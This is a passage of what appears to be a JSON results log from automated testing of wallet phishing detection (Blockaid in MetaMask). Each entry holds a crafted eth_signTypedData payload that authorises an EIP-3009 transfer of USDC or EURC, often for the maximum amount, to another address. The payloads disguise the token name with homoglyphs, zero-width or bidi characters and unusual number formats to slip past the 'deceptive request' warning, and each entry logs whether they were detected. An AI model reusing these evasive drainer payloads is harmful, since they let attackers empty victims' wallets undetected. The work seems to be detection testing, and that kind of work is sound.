"eip3009", "description": "USDC + bidi_isolate + max_uint + narrow_1hr", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"⁦USD Coin⁩\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"1769898414\",\"validBefore\":\"1769905614\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c166ce95f\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN9-COMBO-0", "timestamp": "2026-01-31T23:41:05.197Z", "technique": "EIP3009-combo-EURC-nbsp-hex_mixed_case-far_future-sequential-mixed_case-signTypedData", "category": "eip3009", "description": "EURC + nbsp + hex_mixed_case + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0xFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFf\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c166e7b2c\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN9-COMBO-1", "timestamp": "2026-01-31T23:41:11.722Z", "technique": "EIP3009-combo-USDC-ideographic_space-alternating-standard-max-lowercase-v4", "category": "eip3009", "description": "USDC + ideographic_space + alternating + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD　Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"10101010101010101010101010101010\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN9-COMBO-2", "timestamp": "2026-01-31T23:41:18.691Z", "technique": "EIP3009-combo-USDC-ideographic_space-hex_max-numeric_ts-sequential-checksum-v4", "category": "eip3009", "description": "USDC + ideographic_space + hex_max + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD　Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c166e7b2c\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN9-COMBO-3", "timestamp": "2026-01-31T23:41:25.668Z", "technique": "EIP3009-combo-USDC-ltr_override-max_uint-just_now-all_a-lowercase-v3", "category": "eip3009", "description": "USDC + ltr_override + max_uint + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"‭USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN9-COMBO-4", "timestamp": "2026-01-31T23:41:35.304Z", "technique": "EIP3009-combo-USDC-thin_space-one_million-past_2020-random-mixed_case-signTypedData", "category": "eip3009", "description": "USDC + thin_space + one_million + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"1000000000000\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x24cc9b35f264a5f556631d0607fd8c42f90eb23e05328be302556f9d3341114a\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN9-COMBO-5", "timestamp": "2026-01-31T23:41:41.833Z", "technique": "EIP3009-combo-USDC-ideographic_space-alternating-leading_zeros_ts-sequential-checksum-v4", "category": "eip3009", "description": "USDC + ideographic_space + alternating + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD　Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"10101010101010101010101010101010\",\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c166e7b2c\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN9-COMBO-6", "timestamp": "2026-01-31T23:41:48.799Z", "technique": "EIP3009-combo-EURC-thin_space-leading_zeros-year_2100-all_a-checksum-signTypedData", "category": "eip3009", "description": "EURC + thin_space + leading_zeros + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"00001000000000\",\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN9-COMBO-7", "timestamp": "2026-01-31T23:41:55.327Z", "technique": "EIP3009-combo-EURC-cyrillic_e-round_100k-just_now-max-mixed_case-signTypedData", "category": "eip3009", "description": "EURC + cyrillic_e + round_100k + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"еURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"100000000000\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN9-COMBO-8", "timestamp": "2026-01-31T23:42:01.857Z", "technique": "EIP3009-combo-EURC-zwnj-numeric_max_safe-far_future-all_ones-mixed_case-signTypedData", "category": "eip3009", "description": "EURC + zwnj + numeric_max_safe + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EU‌RC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":9007199254740991,\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN9-COMBO-9", "timestamp": "2026-01-31T23:42:08.395Z", "technique": "EIP3009-combo-EURC-standard-trailing_zeros-leading_zeros_ts-sequential-mixed_case-v3", "category": "eip3009", "description": "EURC + standard + trailing_zeros + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"1000000000000000000000000000000\",\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c166e7b2c\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN9-COMBO-10", "timestamp": "2026-01-31T23:42:14.928Z", "technique": "EIP3009-combo-EURC-long_1024-numeric_small-standard-all_a-lowercase-v4", "category": "eip3009", "description": "EURC + long_1024 + numeric_small + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURCxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":999999999999,\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN9-COMBO-11", "timestamp": "2026-01-31T23:42:21.879Z", "technique": "EIP3009-combo-USDC-cyrillic_a-hex_max-narrow_1hr-zero-mixed_case-v4", "category": "eip3009", "description": "USDC + cyrillic_a + hex_max + narrow_1hr", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\",\"validAfter\":\"1769898414\",\"validBefore\":\"1769905614\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN9-COMBO-12", "timestamp": "2026-01-31T23:42:28.419Z", "technique": "EIP3009-combo-EURC-newline-hex_max-standard-half_and_half-lowercase-v3", "category": "eip3009", "description": "EURC + newline + hex_max + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\nC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN9-COMBO-13", "timestamp": "2026-01-31T23:42:35.345Z", "technique": "EIP3009-combo-USDC-zwj-leading_zeros_many-max_uint-half_and_half-checksum-v3", "category": "eip3009", "description": "USDC + zwj + leading_zeros_many + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"US‍D Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"000000000000000000000000000000000000000000000001000000000000\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN9-COMBO-14", "timestamp": "2026-01-31T23:42:42.463Z", "technique": "EIP3009-combo-EURC-bom-round_100k-just_now-zero-mixed_case-v4", "category": "eip3009", "description": "EURC + bom + round_100k + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"100000000000\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN10-COMBO-0", "timestamp": "2026-01-31T23:42:48.998Z", "technique": "EIP3009-combo-EURC-invisible_separator-half_max-year_2100-alternating-lowercase-v3", "category": "eip3009", "description": "EURC + invisible_separator + half_max + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR⁣C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"57896044618658097711785492504343953926634992332820282019728792003956564819967\",